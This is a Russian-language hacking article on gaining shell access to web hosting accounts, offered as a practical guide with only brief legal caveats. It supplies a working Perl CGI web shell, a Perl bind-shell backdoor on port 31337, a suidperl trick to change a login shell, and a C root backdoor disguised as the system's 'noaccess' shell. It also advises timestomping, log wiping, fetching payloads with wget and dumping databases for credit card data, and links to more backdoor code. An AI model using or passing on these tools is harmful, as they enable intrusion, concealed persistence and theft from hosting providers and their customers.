Как известно, все хостинги делятся на два типа - с предоставлением шелл-аккаунта или без него (третьего не дано). В этой статье мы будем разбираться со вторым вариантом, точнее - рассмотрим пути получения шелла на этом хостинге.

Вообще, хостинги - вещь интересная. Шелл может оказаться весьма полезной фичей. Почему? Во-первых, канал. На уважающем себя хостинге канал должен быть широкий. Во-вторых, сам софт. Пень 166 для хостинга не пройдет =). Следовательно, можно запускать задачи наподобие john, требующие мощного проца. И, наконец, на некоторых хостингах имеются реверсивные виртуалхосты (которые резолвятся в обе стороны) - можно запросто поставить баунсер с отличными хостами, да еще и затрейдить доступ к нему.

Shell через CGI

Слюнки потекли? Ладно, не буду терроризировать. Приступим к делу, то бишь к получению заветного shell-аккаунта. Если есть доступ к ftp и право на выполнение cgi/php скриптов, то шанс получить шелл, а в перспективе и rootshell, резко возрастает. Итак, первый способ получения некоего www-shell'a: заливаем на ftp хостинга скрипт cmd.cgi с простым как мир содержимым:

#!/usr/bin/perl

print "Content-type: text/html "; Выводим хедер

$cmd=$ENV{QUERY_STRING}; ## Команда для выполнения - атрибут скрипта

$cmd=~s/%20/ /g; ## Заменим все unicode пробела на реальный пробел

print "

".`$cmd`.""; ## ??????? ????????? ??????? ?
тегах

Корректно заливаем скрипт (в ASCII-режиме), ставим атрибут 755 и обращаемся: http://www.victim.com/~xakep/cmd.cgi?id (впоследствии я буду называть wwwvictim.com). Результатом будет, как правило, строчка следующего вида в браузере:

uid=nobody(31337) gid=nobody(31337)

Удаленный бэкдор

Но, конечно, бродить по дирам, взламывать сервер etc не интерактивным путем - сложно и неудобно, поэтому лучше воспользоваться скриптами, которые способны открыть порт на сервере (некий backdoor) с интерактивным шеллом. Используя Perl для этой корыстной цели, пишем обычный бэкдор (код старый, но до сих пор актуальный):

#!/usr/bin/perl

$SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла

$LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора

use Socket; ## Используем модуль Socket

$protocol=getprotobyname('tcp'); ### Протокол - TCP

socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket "; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке.

setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта

bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port "; ## Биндим порт на все адреса машины либо сообщаем об ошибке

listen (S,3) || die "Cant listen port "; ## Ждем коннектов на порт

while(1)

{

accept (CONN,S); ## При подключении создаем дескриптор с именем CONN

if(! ($pid=fork)) ## Делаем процесс потомок для коннекта с дескриптором CONN

{

die "Cannot fork" if (! defined $pid); ## В случае неудачи ответвления - завершаем работу
open STDIN,"&CONN";

open STDERR,">&CONN"; ## Перенаправляем STDIN, STDOUT и STDERR в клиент-терминал

exec $SHELL || die print CONN "Cant execute $SHELL "; ## Пытаемся запустить интерактивный шелл либо, в случае неудачи, завершаем скрипт

close CONN; ## Закрываем сокет после завершения работы шелла

exit 0; ## Корректно выходим, завершая потомок.

}

}

Закачиваем данный скрипт на ftp, а если это невозможно (дыры в софте с возможностью исполнения команд через WWW), то заливаем его с помощью программы wget в /tmp каталог. Затем выполняем командой perl /path/to/script (через cmd.cgi, естественно). Если окно с ошибкой не открывается, а браузер лишь задерживает выдачу ответа, значит, все прошло успешно, и порт открыт. Остается лишь зателнетиться на wwwvictim.com:31337 и юзать интерпретатор.

Интерпретатор, возможно, придется поднимать до нормального уровня. Ведь сколько мусора в логах... Тогда необходимо брать права рута. Если это русский хостинг, то это вряд ли прокатит. Наши админы, особенно на хостингах, хорошо заботятся о безопасности. А вот с буржуями все достаточно просто. У них ошибок на порядок больше. Но и писать здесь, каким способом взламывать буржуйский хостинг, я, естественно, не буду. Для этого надо изучать конкретный сервер, что на нем находится, потом ползать по разнообразным багтракам в поисках нужного сплоита. А возможно, придется и самому писать. Правда, в итоге может что-то и получится, но эти "самостоятельные упражнения" пресекаются УК :).

Подъем инфы без рута

Что, если зарутить не удается? Дело в том, что шелл запущен под правами apache. То есть, доступны www-директории, в которых можно найти обычные скрипты. А уже в них возможно найти аккаунт, например, для базы данных mysql. Затем можно выполнять команды mysql прямо из командной строки. Например, после получения аккаунта на базу в виде root:sqlpassword мы можем просмотреть базы такой командой:

bash-2.04$ mysql -uroot -psqlpassword -e 'show databases'

И так далее. То есть реально отдампить кучу кредиток и другой важной информации. Не этого ли желает большинство людей?

Установка бэкдора

У непривилегированного пользователя, наверняка, вместо шелла стоит что-то вроде /bin/false (ну, любят хостинги делать такие шеллы юзерам). Как кто-то говорил - нет безвыходных ситуаций. В юнихоподобных осях существует полезная команда: chsh. Она позволяет сменить шелл пользователю (если у тебя есть на это права). Но вот незадача - обычно апач выполняет команды под уидом apache или nobody, то есть через WWW-скрипт, как и через открытый порт, тебе шелл не сменить. Но на помощь приходит программа suidperl (она есть практически на всех Linux & BSD). Быстренько оформив через открытый порт скриптик shell.pl, получаем код следующего содержания:

#!/usr/bin/suidperl -U

system("/usr/bin/chsh LOGIN");

где LOGIN - твой логин, сделаем его суидным командой по ФТП: site chmod 4755 shell.pl (4 - SUID, 755 - исполнение). Затем, уже интерактивно (через бэкдор), запустим его при помощи suidperl:

bash-2.04$ suidperl -U shell.pl

Suidperl - программа для исполнения суидных Perl скриптов. Получается, что права, с которыми запустится скрипт, будут: nobody (uid) и xakep (euid). То есть suidperl наследует uid, закрепленный на скрипте. При условии, что /bin/false был в /etc/shells, шелл будет сменен, и в итоге появится возможность ходить под своим логином через /bin/bash. Опция -U суидперла блокирует taint проверку скрипта, иначе скрипт ругнется на unsecure $ENV{PATH}.

Дальнейшее удержание прав

Итак, перенесемся в заветное будущее, когда на хостинге уже есть root-права. Что делать? Одним из хороших способов будет создание fake-shell, который бы пускал в систему только определенного человека. Как это осуществить? На большинстве хостингов существует свой шелл-nologin, который пишет одну единственную строку, как реакцию на подключение - No access. Воспользовавшись этим, слегка подредактируем код. Допустим, в системе есть пользователь lp (принтер сервис) с уидом 4. Ему необходимо установить свой пароль (не стоит забывать чистить логи после этого!), и шелл, как обычно - /sbin/noaccess. Вот его код в си-реализации:

int main() {

if (getuid() == 4) { /* Если уид=4 */

setuid(0);

setgid(0);

system("/bin/bash"); /* Запускаем bash из-под рута */

} else {

printf("No access "); /* Иначе пишем - No access */

}

}

Как видишь - все просто. Остается лишь откомпилить его: gcc noaccess.c -o /sbin/noaccess. Затем поставить на него атрибут +s (для setuid() нужен SUID атрибут) и сменить дату обращения к файлу командой touch -t 200101151932 /sbin/noaccess (время в формате ГГММДДЧЧММ). Рекомендуется также скачать какой-нибудь logwiper и интегрировать его в noaccess, иначе пребывание на сервере будет логироваться.

Вот и вся инфа о поднятии shell доступа на разнообразных хостинговых службах. Просто поднятие shell'а - дело без последствий, но если продолжать получать более высокие права, то это уже уголовно наказуемо (особенно при получении рут прав). Так что осмысливай свои действия!

http://cgi-bin.hut.ru/cmd.pl

По этой ссылке можно скачать альтернативный perl скрипт, реализующий cgi-shell. Зачем он дается? Да просто он гораздо удобнее, а публиковать его сорсы - бессмысленно.

Конечно, бэкдоры бывают не только на Perl. По адресу http://kamensk.lael.ru/forb/soft/bd.c можно скачать сишник с подробными комментариями. Компилить его придется, видимо, через www, а затем запускать оттуда же, как обычный бинарник.